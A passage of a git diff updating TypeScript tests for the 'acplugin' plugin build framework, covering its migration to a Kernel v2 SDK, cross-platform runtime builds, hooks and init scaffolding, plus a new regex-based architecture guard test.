!== 0) throw new Error(`Project subprocess failed: ${execution.stderr}`); /** 子进程返回的成功结果或安全错误摘要。 */ - const payload = JSON.parse(execution.stdout) as { readonly ok: boolean; readonly result?: BuildResult; readonly message?: string }; + const payload = JSON.parse(execution.stdout) as { readonly ok: boolean; readonly result?: BuildReport; readonly message?: string }; if (!payload.ok || payload.result === undefined) throw new Error(payload.message ?? 'Project execution failed.'); return payload.result; } +/** + * 用 package-manager 风格目录链接给临时工程安装真实构建后的 Codex 包。 + * + * @param root 临时消费工程根。 + */ +async function installBuiltCodex(root: string): Promise { + /** scope 目录必须先存在,最终 package link 才与 pnpm 布局语义一致。 */ + const scope = path.join(root, 'node_modules/@tokenroll'); + await fs.mkdir(scope, { recursive: true }); + await fs.symlink( + path.join(repositoryRoot, 'packages/platforms/codex'), + path.join(scope, 'acplugin-platform-codex'), + 'dir', + ); +} + /** * 递归读取 Codex Platform 的全部 TypeScript 源码。 * @@ -107,7 +123,6 @@ describe('Codex public Platform integration', () => { displayName: 'TokenRoll Plugins', policy: { installation: 'INSTALLED_BY_DEFAULT' }, }, - generatedSkillIds: { command: 'plugin-prefixed' }, }); expect(platform.id).toBe(PLATFORM_ID); @@ -123,18 +138,17 @@ describe('Codex public Platform integration', () => { displayName: 'TokenRoll Plugins', policy: { installation: 'INSTALLED_BY_DEFAULT' }, }, - generatedSkillIds: { command: 'plugin-prefixed' }, }); expect(Object.isFrozen(platform.options)).toBe(true); expect(Object.isFrozen(platform.options!.interface)).toBe(true); expect(Object.isFrozen(platform.options!.marketplace)).toBe(true); - expect(Object.isFrozen(platform.options!.generatedSkillIds)).toBe(true); }); it('loads plugin-prefixed Command Skill IDs through the built public packages', async () => { /** 使用真实配置加载路径验证独立 Platform package 与主包 bundle 的品牌一致性。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-codex-generated-id-')); temporaryRoots.push(root); + await installBuiltCodex(root); await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); await fs.writeFile(path.join(root, 'src/commands/bootstrap.md'), `--- description: Bootstrap the repository. @@ -142,12 +156,12 @@ description: Bootstrap the repository. Bootstrap the repository. `); await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` -import codex from ${JSON.stringify(codexEntry)}; +import codex from ${JSON.stringify(codexPackageName)}; export default { name: 'repository-ops', version: '1.0.0', description: 'Repository operations.', - platforms: [codex({ generatedSkillIds: { command: 'plugin-prefixed' } })], + platforms: [codex()], }; `); /** 子进程加载真实 dist 入口并完成事务提交。 */ @@ -156,11 +170,11 @@ export default { const generatedId = 'repository-ops-bootstrap'; expect(result.success, JSON.stringify(result.diagnostics)).toBe(true); - expect(result.deliveryUnits.find(unit => unit.id === 'plugin')?.artifacts) + expect(result.packages.find(unit => unit.id === 'plugin')?.assets) .toContainEqual(expect.objectContaining({ path: `skills/${generatedId}/SKILL.md` })); expect(result.compatibility).toContainEqual(expect.objectContaining({ subject: 'command:bootstrap', - transformation: `Explicit Skill ${generatedId}`, + transformation: `explicit-skill:${generatedId}`, })); expect(await fs.readFile(path.join(root, `dist/codex/plugin/skills/${generatedId}/SKILL.md`), 'utf8')) .toContain(`name: ${generatedId}`); @@ -180,6 +194,7 @@ export default { /** 覆盖有参数和无参数 Command 的真实 Scanner/Lifecycle 工程。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-codex-arguments-')); temporaryRoots.push(root); + await installBuiltCodex(root); await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); await fs.writeFile(path.join(root, 'src/commands/deploy.md'), `--- description: Deploy an environment. @@ -192,7 +207,7 @@ description: Show deployment status. Show deployment status. `); await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` -import codex from ${JSON.stringify(codexEntry)}; +import codex from ${JSON.stringify(codexPackageName)}; export default { name: 'codex-arguments', version: '1.0.0', @@ -215,7 +230,7 @@ export default { subject: 'command:status', capability: 'arguments', })); - expect(await fs.readFile(path.join(root, 'dist/codex/plugin/skills/command-deploy/SKILL.md'), 'utf8')) + expect(await fs.readFile(path.join(root, 'dist/codex/plugin/skills/codex-arguments-deploy/SKILL.md'), 'utf8')) .toContain('the arguments supplied with this explicit invocation'); }); }); diff --git a/packages/test/test/ecosystem-contract.test.ts b/packages/test/test/ecosystem-contract.test.ts index 6c23384..9c777d1 100644 --- a/packages/test/test/ecosystem-contract.test.ts +++ b/packages/test/test/ecosystem-contract.test.ts @@ -1,248 +1,218 @@ -import { spawn } from 'node:child_process'; import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; -import { fileURLToPath } from 'node:url'; import { afterEach, describe, expect, it } from 'vitest'; import { - bytesArtifact, defineExtension, definePlatform, - stableJson, -} from '@tokenroll/acplugin'; + type SourceFileRef, +} from '@tokenroll/acplugin/sdk'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; import { - executeLifecycle, - type ResolvedConfig, + resolveKernelConfig, + runKernelBuildSession, } from '@acplugin/core'; /** 生态契约测试创建并统一清理的临时工程。 */ const temporaryRoots: string[] = []; -/** 原生严格拒绝子进程直接加载的 Core 构建入口。 */ -const coreEntry = fileURLToPath(new URL('../../core/dist/index.mjs', import.meta.url)); - -/** - * 创建不包含内置 Platform 假设的空作者工程。 - * - * @returns 已登记清理的工程绝对路径。 - */ +/** 创建包含最小配置占位符且登记清理的工程。 */ async function temporaryProject(): Promise { /** 当前测试独占的工程根。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-ecosystem-contract-')); temporaryRoots.push(root); await fs.mkdir(path.join(root, 'src'), { recursive: true }); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), 'export default {}\n'); return root; } +/** 第三方 Fixture 对必填 metadata 的完整处置。 */ +function metadata() { + return ['name', 'version', 'description'].map(field => ({ + field, + disposition: 'emitted' as const, + output: `plugin.json/${field}`, + reason: 'The ecosystem fixture emits this canonical field.', + })); +} + afterEach(async () => { await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); }); -describe('third-party ecosystem contract', () => { - it('executes public factory-created Platform, Extension, and Adapter objects through Core', async () => { - /** 用公开主包工厂创建且不依赖任何内置实现的虚拟 Platform。 */ +describe('Kernel v2 ecosystem contract', () => { + it('executes SDK-created Platform, Extension, and Contributor through the fixed Package lifecycle', async () => { + /** Extension 独占来源根中的 add-only 资源。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/community'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/community/state.txt'), 'enabled\n'); + /** 第三方 Platform 只使用公开 SDK 的 Session/Document/Asset 契约。 */ const platform = definePlatform({ id: 'ecosystem-fixture', apiVersion: '1', deliveryType: 'plugin', - options: { manifest: { channel: 'stable' } }, - /** prepare 创建可供 Adapter 增量扩展的 Manifest Draft。 */ - prepare(context) { - expect(context.options).toEqual({ manifest: { channel: 'stable' } }); - context.reportMetadata({ - field: 'name', - disposition: 'emitted', - output: 'plugin.json.name', - reason: 'The virtual manifest preserves the canonical name.', - }); + options: { channel: 'stable' }, + /** 每轮创建只捕获 Core 防御性复制后的选项。 */ + createSession({ options }) { + expect(options).toEqual({ channel: 'stable' }); return { - documents: [{ - id: 'plugin-manifest', - path: 'plugin.json', - format: 'json', - owner: 'platform:ecosystem-fixture', - value: { name: context.project.metadata.name, extensions: {} }, - extensionPoints: [['extensions', 'bridge']], - }], - artifacts: [], + /** Platform 只创建自己的 base Document。 */ + createPackage: ({ project }) => ({ + documents: [{ + id: 'plugin-manifest', + path: 'plugin.json', + format: 'json', + value: { + name: project.metadata.name, + version: project.metadata.version, + description: project.metadata.description, + extensions: {}, + }, + extensionPoints: [['extensions', 'community']], + }], + assets: [], + compatibility: [], + metadata: metadata(), + }), + /** Core 自动继承 base 与 Contributor 内容。 */ + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + /** 临时候选必须已经包含 codec 输出和 Extension Asset。 */ + async validatePackage({ candidate }) { + /** manifest 是 Core Document codec 物化后的最终候选。 */ + const manifest = JSON.parse(await fs.readFile(path.join(candidate.root, 'plugin.json'), 'utf8')); + expect(manifest.extensions).toEqual({ community: { enabled: true } }); + await expect(fs.readFile(path.join(candidate.root, 'community/state.txt'), 'utf8')).resolves.toBe('enabled\n'); + }, }; }, - /** generateBundle 将合并后的 Document 与 Artifact 序列化为主单元。 */ - generateBundle(context) { - /** Adapter patch 完成后的 Manifest 文档。 */ - const manifest = context.documents.find(document => document.id === 'plugin-manifest')!; - return { - id: 'plugin', - role: 'primary', - type: 'plugin', - artifacts: [ - ...context.artifacts, - bytesArtifact('plugin.json', stableJson(manifest.value)), - ], - }; - }, - /** validateBundle 接受当前虚拟 Platform 的已物化候选。 */ - validateBundle: () => undefined, }); - /** 用公开主包工厂创建并桥接虚拟 Platform 的第三方 Extension。 */ - const extension = defineExtension({ - name: 'ecosystem-bridge', + /** 第三方 Extension 的状态只沿 discover→validate→build 传递。 */ + const extension = defineExtension, { readonly file: SourceFileRef }, { readonly file: SourceFileRef }, { readonly asset: import('@tokenroll/acplugin/sdk').SourceAssetRef }>({ + id: 'community-extension', apiVersion: '1', - /** discover 返回 Extension 在 Fixture 中发现的最小状态。 */ - discover: () => ({ enabled: true }), - /** build 把已发现状态作为跨 Platform 的 Built State。 */ - build: (_context, discovered) => discovered, - adapters: [{ - extensionApiVersion: '1', - platform: platform.id, - platformApiVersion: '1', - /** apply 只通过 add-only Context 修改当前 Platform Draft。 */ - apply(context, built) { - context.patchDocument({ - document: 'plugin-manifest', - path: ['extensions', 'bridge'], - value: built, - }); - context.emitArtifact(bytesArtifact('bridge/state.txt', 'enabled')); + options: {}, + resourceRoots: ['community'], + /** 每轮返回独立且无跨 Extension 读取的 Session。 */ + createSession: () => ({ + /** discover 只能从 Extension 独占 Resource root 签发 SourceRef。 */ + async discover({ roots, sources }) { + /** 缺失 root 时按未发现处理,不生成兼容性噪声。 */ + const sourceRoot = roots.community; + return sourceRoot === undefined ? undefined : { file: await sources.file(sourceRoot, 'state.txt') }; }, - }], + /** validate 声明 Contributor 后续必须覆盖的 capability tuple。 */ + validate: (_context, discovered) => ({ + state: discovered, + subjects: [{ subject: 'community:state', capabilities: ['delivery'] }], + }), + /** build 只通过 owner-scoped Asset Service 转换 SourceRef。 */ + build: async ({ assets }, validated) => ({ + state: { asset: await assets.fromSource(validated.file) }, + }), + contributors: [{ + platform: 'ecosystem-fixture', + platformApiVersion: '1', + /** Contributor 只填声明点并追加自己拥有的 Asset。 */ + contribute: (_context, built) => ({ + documentFields: [{ + document: 'plugin-manifest', + path: ['extensions', 'community'], + value: { enabled: true }, + }], + assets: [{ path: 'community/state.txt', asset: built.asset }], + compatibility: [{ + subject: 'community:state', + capability: 'delivery', + level: 'native', + reason: 'The extension contributes through a declared Package extension point.', + }], + }), + }], + }), }); - /** 手工组装仅供私有 Core 集成测试使用的已解析配置边界。 */ - const root = await temporaryProject(); - /** 直接执行 Core 所需的完整 ResolvedConfig Fixture。 */ - const config = { - root, - configPath: path.join(root, 'acplugin.config.ts'), - command: 'validate', - mode: 'production', - metadata: { name: 'ecosystem-test', version: '1.0.0', description: 'Ecosystem contract.' }, - srcDir: path.join(root, 'src'), - public: { enabled: false, dir: path.join(root, 'public') }, - platforms: [{ platform, strict: true }], + /** 私有测试直接调用 Kernel,生产配置仍只通过公开品牌对象。 */ + const resolved = resolveKernelConfig({ + name: 'ecosystem-test', + version: '1.0.0', + description: 'Ecosystem contract.', + public: false, + platforms: [platform], extensions: [extension], - outDir: path.join(root, 'dist'), - strict: true, - } as unknown as ResolvedConfig; - - /** 第三方 Platform、Extension 与 Adapter 共同运行的生命周期结果。 */ - const result = await executeLifecycle({ - config, - /** loadTypeScriptModule 在当前 Fixture 中不需要加载任何作者模块。 */ - loadTypeScriptModule: async () => undefined, - environment: {}, + }, { + projectRoot: root, + configFile: path.join(root, 'acplugin.config.ts'), + command: 'inspect', + mode: 'production', + }); + /** BuildSession 是测试中唯一实际执行的构建路径。 */ + const result = await runKernelBuildSession({ + config: resolved.config!, + frameworkVersion: 'test', + commit: false, }); - expect(result.success).toBe(true); - expect(result.deliveryUnits).toEqual([ - expect.objectContaining({ - platform: 'ecosystem-fixture', - id: 'plugin', - artifacts: expect.arrayContaining([ - expect.objectContaining({ path: 'plugin.json', owner: 'platform:ecosystem-fixture' }), - expect.objectContaining({ path: 'bridge/state.txt', owner: 'extension:ecosystem-bridge' }), - ]), - }), - ]); - expect(result.metadata).toEqual([ - expect.objectContaining({ platform: 'ecosystem-fixture', field: 'name', disposition: 'emitted' }), - ]); + expect(resolved.diagnostics).toEqual([]); + expect(result.report.success, JSON.stringify(result.report.diagnostics, null, 2)).toBe(true); + expect(result.report.packages).toContainEqual(expect.objectContaining({ + platform: 'ecosystem-fixture', + id: 'plugin', + validated: true, + assets: expect.arrayContaining([ + expect.objectContaining({ path: 'plugin.json', owner: 'platform:ecosystem-fixture' }), + expect.objectContaining({ path: 'community/state.txt', owner: 'extension:community-extension' }), + ]), + })); + expect(result.report.compatibility).toContainEqual(expect.objectContaining({ + platform: 'ecosystem-fixture', + subject: 'community:state', + capability: 'delivery', + level: 'native', + })); }); - it('observes immediate Artifact rejection before an async Adapter failure in strict Node mode', async () => { - /** 子进程使用的空工程,确保生命周期可进入 Adapter 阶段。 */ + it('delivers one Core-built Node Runtime byte stream to Claude Code and Codex', async () => { + /** 工程包含一个原生 Skill 和一个自动发现的 Runtime 入口。 */ const root = await temporaryProject(); - /** 真实构建 Core 中创建立即碰撞 Promise、随后等待 timer 并抛错的 ESM 程序。 */ - const source = ` -import { - bytesArtifact, - defineExtension, - definePlatform, - executeLifecycle, - resolveConfig, -} from ${JSON.stringify(coreEntry)}; - -const platform = definePlatform({ - id: 'strict-rejection', - apiVersion: '1', - deliveryType: 'plugin', - prepare: () => ({ - documents: [{ - id: 'manifest', - path: 'manifest.json', - format: 'json', - owner: 'platform:strict-rejection', - value: {}, - extensionPoints: [], - }], - artifacts: [], - }), - generateBundle: context => ({ - id: 'plugin', role: 'primary', type: 'plugin', artifacts: context.artifacts, - }), - validateBundle: () => undefined, -}); -const extension = defineExtension({ - name: 'strict-rejection-extension', - apiVersion: '1', - discover: () => ({ enabled: true }), - adapters: [{ - extensionApiVersion: '1', - platform: platform.id, - platformApiVersion: '1', - async apply(context) { - context.emitArtifact(bytesArtifact('manifest.json', 'collision')); - await new Promise(resolve => setTimeout(resolve, 20)); - throw new Error('later Adapter failure'); - }, - }], -}); -const resolved = resolveConfig({ - name: 'strict-rejection-fixture', - version: '1.0.0', - description: 'Strict rejection fixture.', - public: false, - platforms: [platform], - extensions: [extension], -}, ${JSON.stringify(path.join(root, 'acplugin.config.ts'))}, 'validate', 'production'); -if (!resolved.config) - throw new Error('Fixture config did not resolve.'); -const result = await executeLifecycle({ - config: resolved.config, - loadTypeScriptModule: async () => undefined, - environment: {}, -}); -process.stdout.write(JSON.stringify(result)); -`; - /** strict 模式会把任何短暂无 observer 的拒绝直接升级为进程失败。 */ - const execution = await new Promise<{ code: number | null; stdout: string; stderr: string }>((resolve, reject) => { - /** 使用原生 ESM 与严格拒绝策略执行真实 Core 构建产物。 */ - const child = spawn(process.execPath, ['--unhandled-rejections=strict', '--input-type=module', '--eval', source], { - stdio: ['ignore', 'pipe', 'pipe'], - }); - /** 子进程返回的唯一 JSON 构建结果。 */ - let stdout = ''; - /** 严格模式下不得出现未处理拒绝堆栈。 */ - let stderr = ''; - child.stdout.setEncoding('utf8'); - child.stderr.setEncoding('utf8'); - child.stdout.on('data', (chunk: string) => { - stdout += chunk; - }); - child.stderr.on('data', (chunk: string) => { - stderr += chunk; - }); - child.on('error', reject); - child.on('close', code => resolve({ code, stdout, stderr })); + await fs.mkdir(path.join(root, 'src/skills/host'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/runtime'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/skills/host/SKILL.md'), '---\ndescription: Host the runtime.\n---\nUse the runtime.\n'); + await fs.writeFile(path.join(root, 'src/runtime/cli.ts'), 'process.stdout.write("runtime-ready\\n");\n'); + /** 两个官方 Platform 都只声明能力,不各自编译 Runtime。 */ + const resolved = resolveKernelConfig({ + name: 'runtime-ecosystem', + version: '1.0.0', + description: 'Cross-platform runtime contract.', + public: false, + platforms: [claudeCode(), codex()], + }, { + projectRoot: root, + configFile: path.join(root, 'acplugin.config.ts'), + command: 'build', + mode: 'production', + }); + /** commit 验证最终两个 Platform 目录中的真实字节。 */ + const result = await runKernelBuildSession({ + config: resolved.config!, + frameworkVersion: 'test', + commit: true, }); + /** 两个 Package 报告中的 Runtime 必须继承同一个 Core provenance/hash/mode。 */ + const runtimes = result.report.packages + .filter(unit => unit.role === 'primary') + .map(unit => unit.assets.find(asset => asset.path === 'runtime/cli/main.mjs')!); - expect(execution.code).toBe(0); - expect(execution.stderr).toBe(''); - expect(JSON.parse(execution.stdout)).toEqual(expect.objectContaining({ - success: false, - committed: false, - diagnostics: expect.arrayContaining([ - expect.objectContaining({ code: 'PLATFORM_GENERATION_FAILED', platform: 'strict-rejection' }), - ]), - })); + expect(resolved.diagnostics).toEqual([]); + expect(result.report.success, JSON.stringify(result.report.diagnostics, null, 2)).toBe(true); + expect(runtimes).toHaveLength(2); + expect(runtimes[0]).toMatchObject({ + owner: 'framework:node-runtime', + mode: 0o755, + origin: { type: 'compile', profile: 'portable-node' }, + }); + expect(runtimes[1]).toEqual(runtimes[0]); + await expect(fs.readFile(path.join(root, 'dist/claude-code/plugin/runtime/cli/main.mjs'))).resolves.toEqual( + await fs.readFile(path.join(root, 'dist/codex/plugin/runtime/cli/main.mjs')), + ); }); }); diff --git a/packages/test/test/extension-api.types.ts b/packages/test/test/extension-api.types.ts index fd51427..5ad71d7 100644 --- a/packages/test/test/extension-api.types.ts +++ b/packages/test/test/extension-api.types.ts @@ -2,26 +2,31 @@ import hooks from '@tokenroll/acplugin-extension-hooks'; import mcp from '@tokenroll/acplugin-extension-mcp'; import { defineConfig, - type AcpluginExtension, + nodeRuntimeArtifactPath, } from '@tokenroll/acplugin'; +import type { AcpluginExtension } from '@tokenroll/acplugin/sdk'; import claudeCode from '@tokenroll/acplugin-platform-claude-code'; /** - * 验证两个公开 Extension 的声明只依赖主包正式生态类型。 + * 验证两个公开 Extension 与 Core Runtime 配置只依赖主包正式生态类型。 */ export function verifyExtensionDeclarationTypes(): void { /** Hooks 工厂返回的品牌化公开 Extension。 */ const hooksExtension: AcpluginExtension = hooks({ include: ['format'] }); /** MCP 工厂返回的品牌化公开 Extension。 */ const mcpExtension: AcpluginExtension = mcp({ include: ['docs'] }); - /** 消费者显式安装 Platform 和两个 Extension 时能够解析的最终配置。 */ + /** 消费者显式安装 Platform、两个 Extension 并声明 Runtime 时能够解析的最终配置。 */ const config = defineConfig({ name: 'extension-declaration-consumer', version: '1.0.0', description: 'Verify public Extension declarations.', platforms: [claudeCode()], + runtime: { entries: { cli: { entry: './cli.ts' } } }, extensions: [hooksExtension, mcpExtension], }); + /** 公开 helper 的返回类型应保留固定 Runtime 路径形状。 */ + const runtimePath: `runtime/${string}/main.mjs` = nodeRuntimeArtifactPath('cli'); void config; + void runtimePath; } diff --git a/packages/test/test/hooks.test.ts b/packages/test/test/hooks.test.ts index af162fc..a35e5be 100644 --- a/packages/test/test/hooks.test.ts +++ b/packages/test/test/hooks.test.ts @@ -4,7 +4,6 @@ import { fileURLToPath } from 'node:url'; import { describe, expect, it } from 'vitest'; import hooks, { CLAUDE_CODE_PLATFORM_EVENTS, - defineHook, EXTENSION_NAME, HOOK_EVENTS, } from '@tokenroll/acplugin-extension-hooks'; @@ -36,25 +35,17 @@ async function sourceTree(directory: string): Promise { } describe('official Hooks Extension ecosystem contract', () => { - it('exposes the canonical author API and all six official Platform Adapters', () => { + it('exposes the canonical author API and immutable Extension definition', () => { /** 从正式公开包创建的 Hooks Extension。 */ const extension = hooks(); - /** 通过公开 defineHook 创建的品牌化作者定义。 */ - const definition = defineHook({ - event: 'SessionStart', - /** 空实现只用于验证公开品牌和事件字段。 */ - run() {}, - }); - expect(EXTENSION_NAME).toBe('@tokenroll/acplugin-extension-hooks'); - expect(extension.name).toBe(EXTENSION_NAME); - expect(extension.adapters.map(adapter => adapter.platform)).toEqual([ - 'claude-code', 'codex', 'cursor', 'antigravity', 'opencode', 'pi', - ]); expect(Object.isFrozen(extension)).toBe(true); - expect(Object.isFrozen(extension.adapters)).toBe(true); - expect(definition.event).toBe('SessionStart'); - expect(Object.isFrozen(definition)).toBe(true); + expect(extension.id).toBe('hooks'); + expect(extension.apiVersion).toBe('1'); + expect(extension.resourceRoots).toEqual(['hooks']); + expect(extension.options).toEqual({}); + expect(Object.isFrozen(extension.resourceRoots)).toBe(true); + expect(Object.isFrozen(extension.options)).toBe(true); expect(HOOK_EVENTS).toEqual([ 'SessionStart', 'SessionEnd', 'UserPromptSubmit', 'PreToolUse', 'PermissionRequest', 'PostToolUse', 'PreCompact', 'PostCompact', @@ -84,7 +75,7 @@ describe('official Hooks Extension ecosystem contract', () => { expect(manifest.name).toBe('@tokenroll/acplugin-extension-hooks'); expect(manifest.peerDependencies).toEqual({ '@tokenroll/acplugin': 'workspace:^' }); - expect(manifest.dependencies).toEqual({ rolldown: 'catalog:' }); + expect(manifest.dependencies).toBeUndefined(); expect(platforms.join('\n')).not.toContain('@tokenroll/acplugin-extension-hooks'); expect(extensionSource).not.toMatch(/\b(?:AcpluginModule|ModuleGenerateContext|TargetContribution|TargetId)\b/); await expect(fs.access(path.join(repositoryRoot, 'packages/module-hooks'))).rejects.toThrow(); diff --git a/packages/test/test/init.test.ts b/packages/test/test/init.test.ts index b226aa1..216e94b 100644 --- a/packages/test/test/init.test.ts +++ b/packages/test/test/init.test.ts @@ -32,24 +32,40 @@ describe('init', () => { expect(JSON.parse(await fs.readFile(path.join(cwd, 'demo-plugin/package.json'), 'utf8'))).toMatchObject({ engines: { node: '^20.19.0 || ^22.13.0 || >=23.5.0' }, devDependencies: { - '@tokenroll/acplugin-platform-claude-code': '^0.0.1-beta', - '@tokenroll/acplugin-platform-codex': '^0.0.2-beta', + '@tokenroll/acplugin-platform-claude-code': '^0.0.2-beta', + '@tokenroll/acplugin-platform-codex': '^0.0.3-beta', 'typescript': '^7.0.2', }, }); }); - it('adds selected Extensions without generating fake handlers or servers', async () => { + it('adds selected Extensions and a built-in Runtime entry without fake handlers or servers', async () => { /** 可选 Extension 脚手架测试使用的父目录。 */ const cwd = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-init-test-')); roots.push(cwd); - await initializeProject({ cwd, directory: 'extension-plugin', yes: true, hooks: true, mcp: true }); + /** 同时启用两个官方 Extension 和 Core Runtime 模板的初始化结果。 */ + const result = await initializeProject({ + cwd, + directory: 'extension-plugin', + yes: true, + hooks: true, + mcp: true, + nodeRuntime: true, + }); /** 已生成工程的绝对路径。 */ const project = path.join(cwd, 'extension-plugin'); expect(await fs.readFile(path.join(project, 'acplugin.config.ts'), 'utf8')).toContain('extensions: [hooks(), mcp()]'); expect(await fs.readdir(path.join(project, 'src/hooks'))).toEqual([]); expect(await fs.readdir(path.join(project, 'src/mcp'))).toEqual([]); + await expect(fs.access(path.join(project, 'src/runtime/runtime.ts'))).rejects.toThrow(); + expect(await fs.readFile(path.join(project, 'src/runtime/main.ts'), 'utf8')).toContain('ACPlugin Node runtime is ready.'); + expect(result.extensions).toEqual([ + '@tokenroll/acplugin-extension-hooks', + '@tokenroll/acplugin-extension-mcp', + ]); + expect(JSON.parse(await fs.readFile(path.join(project, 'package.json'), 'utf8')).devDependencies) + .not.toHaveProperty('@tokenroll/acplugin-extension-node-runtime'); }); it('writes any explicit subset of the six official Platform factories', async () => { diff --git a/packages/test/test/kernel-v2-architecture.test.ts b/packages/test/test/kernel-v2-architecture.test.ts new file mode 100644 index 0000000..ebba1d2 --- /dev/null +++ b/packages/test/test/kernel-v2-architecture.test.ts @@ -0,0 +1,147 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { describe, expect, it } from 'vitest'; + +/** Kernel v2 架构守卫扫描时使用的仓库根目录。 */ +const root = fileURLToPath(new URL('../../..', import.meta.url)); + +/** 正式生产源码中不得继续新增的 v1 模型或命令式 Context API。 */ +const v1ArchitecturePattern = /\b(?:executeLifecycle|PlatformDraft|DeliveryUnit|ExtensionPlatformAdapter|ProjectBuildService|ProjectModuleService|emitArtifact|patchDocument)\b/; + +/** Platform/Extension 迁移到 SDK subpath 前允许保留根入口导入的精确文件集合。 */ +const rootSdkImportPattern = /(?:from\s+['"]@tokenroll\/acplugin['"]|import\(\s*['"]@tokenroll\/acplugin['"])/; + +/** 只有 Core Compiler Host 可以直接驱动 Rolldown。 */ +const directRolldownPattern = /(?:from\s+['"](?:rolldown|@rolldown\/)|import\(\s*['"](?:rolldown|@rolldown\/))/; + +/** 生产源码中 Chokidar 只能由 Core DevSession 直接拥有。 */ +const watcherPattern = /(?:from\s+['"]chokidar['"]|import\(\s*['"]chokidar['"])/; + +/** 主包 bundle 私有 Core 时允许保留的精确源码入口。 */ +const privateCoreImportPattern = /(?:from\s+['"]@acplugin\/core(?:\/[^'"]+)?['"]|import\(\s*['"]@acplugin\/core(?:\/[^'"]+)?['"])/; + +/** K2-001 完成后正式生产源码不允许保留任何 v1 架构符号。 */ +const v1ArchitectureAllowlist = [] as const; + +/** K2-001 固定的 Integration 根入口导入;对应包迁移后必须从列表删除。 */ +const rootSdkImportAllowlist = [] as const; + +/** K2-004 收敛后 Core 唯一允许的 Rolldown driver 文件。 */ +const directRolldownAllowlist = [ + 'packages/core/src/compiler/engine-loader.ts', +] as const; + +/** CLI 与 Integration 不得建立第二个 watcher owner。 */ +const watcherAllowlist = [ + 'packages/core/src/kernel/dev-session.ts', +] as const; + +/** 主包构建期间允许引用私有 Core 的精确入口。 */ +const privateCoreImportAllowlist = [ + 'packages/acplugin/src/index.ts', + 'packages/acplugin/src/project.ts', + 'packages/acplugin/src/sdk.ts', +] as const; + +/** 架构扫描覆盖的正式源码根,不包含容错型 Migration legacy。 */ +const productionRoots = [ + 'packages/core/src', + 'packages/acplugin/src', + 'packages/platforms/claude-code/src', + 'packages/platforms/codex/src', + 'packages/platforms/cursor/src', + 'packages/platforms/antigravity/src', + 'packages/platforms/opencode/src', + 'packages/platforms/pi/src', + 'packages/extensions/hooks/src', + 'packages/extensions/mcp/src', +] as const; + +/** + * 递归收集正式 TypeScript 源码。 + * + * @param directory 当前仓库相对目录。 + * @returns 按 UTF-16 code unit 排序的仓库相对文件列表。 + */ +async function sourceFiles(directory: string): Promise { + /** 当前目录按名称排序后的目录项。 */ + const entries = await fs.readdir(path.join(root, directory), { withFileTypes: true }); + /** 当前目录与所有后代的 TypeScript 源码。 */ + const files: string[] = []; + /** entry 表示当前遍历的稳定排序目录项。 */ + for (const entry of entries.sort((left, right) => left.name < right.name ? -1 : left.name > right.name ? 1 : 0)) { + /** 当前目录项的仓库相对 POSIX 路径。 */ + const relative = path.posix.join(directory, entry.name); + if (entry.isDirectory()) { + files.push(...await sourceFiles(relative)); + } else if (/\.(?:ts|mts|cts)$/.test(entry.name)) { + files.push(relative); + } + } + return files; +} + +/** + * 返回命中某个架构模式的正式生产源码。 + * + * @param pattern 需要扫描的无状态正则表达式。 + * @returns 稳定排序且排除 Migration 的命中文件。 + */ +async function matchingFiles(pattern: RegExp): Promise { + /** 所有生产源码根递归得到的候选文件。 */ + const files = (await Promise.all(productionRoots.map(sourceFiles))).flat(); + /** 每个候选文件的路径与源码。 */ + const sources = await Promise.all(files.map(async file => ({ file, source: await fs.readFile(path.join(root, file), 'utf8') }))); + return sources + .filter(({ file, source }) => !file.startsWith('packages/acplugin/src/migration/') && pattern.test(source)) + .map(({ file }) => file) + .sort(); +} + +describe('Kernel v2 migration architecture guard', () => { + it('only shrinks the exact v1 architecture baseline', async () => { + expect(await matchingFiles(v1ArchitecturePattern)).toEqual([...v1ArchitectureAllowlist].sort()); + }); + + it('moves integrations from the root facade to the SDK subpath without new root imports', async () => { + /** Integration 源码才受 SDK subpath 规则约束;主包 init 的作者示例合法使用根入口。 */ + const matches = (await matchingFiles(rootSdkImportPattern)).filter(file => file.startsWith('packages/platforms/') || file.startsWith('packages/extensions/')); + expect(matches).toEqual([...rootSdkImportAllowlist].sort()); + }); + + it('keeps direct Rolldown imports confined to the current Core driver baseline', async () => { + expect(await matchingFiles(directRolldownPattern)).toEqual([...directRolldownAllowlist].sort()); + }); + + it('keeps Core DevSession as the only watcher owner', async () => { + expect(await matchingFiles(watcherPattern)).toEqual([...watcherAllowlist].sort()); + }); + + it('keeps private Core imports confined to the bundled main package facade', async () => { + expect(await matchingFiles(privateCoreImportPattern)).toEqual([...privateCoreImportAllowlist].sort()); + }); + + it('keeps the removed Node Runtime Extension absent from the workspace', async () => { + await expect(fs.access(path.join(root, 'packages/extensions/node-runtime'))).rejects.toThrow(); + }); + + it('keeps replaced Scanner and config implementations absent', async () => { + await expect(fs.access(path.join(root, 'packages/core/src/scanner.ts'))).rejects.toThrow(); + await expect(fs.access(path.join(root, 'packages/core/src/config.ts'))).rejects.toThrow(); + /** 全部正式生产源码用于检查旧相对导入已经完全消失。 */ + const production = (await Promise.all(productionRoots.map(sourceFiles))).flat(); + /** 文件文本与路径配对后执行精确旧导入扫描。 */ + const imports = await Promise.all(production.map(async file => ({ + file, + source: await fs.readFile(path.join(root, file), 'utf8'), + }))); + expect(imports.filter(item => /from\s+['"]\.\/(?:scanner|config)\.js['"]/.test(item.source)).map(item => item.file)).toEqual([]); + }); + + it('keeps the lifecycle API version at one during the beta rewrite', async () => { + /** 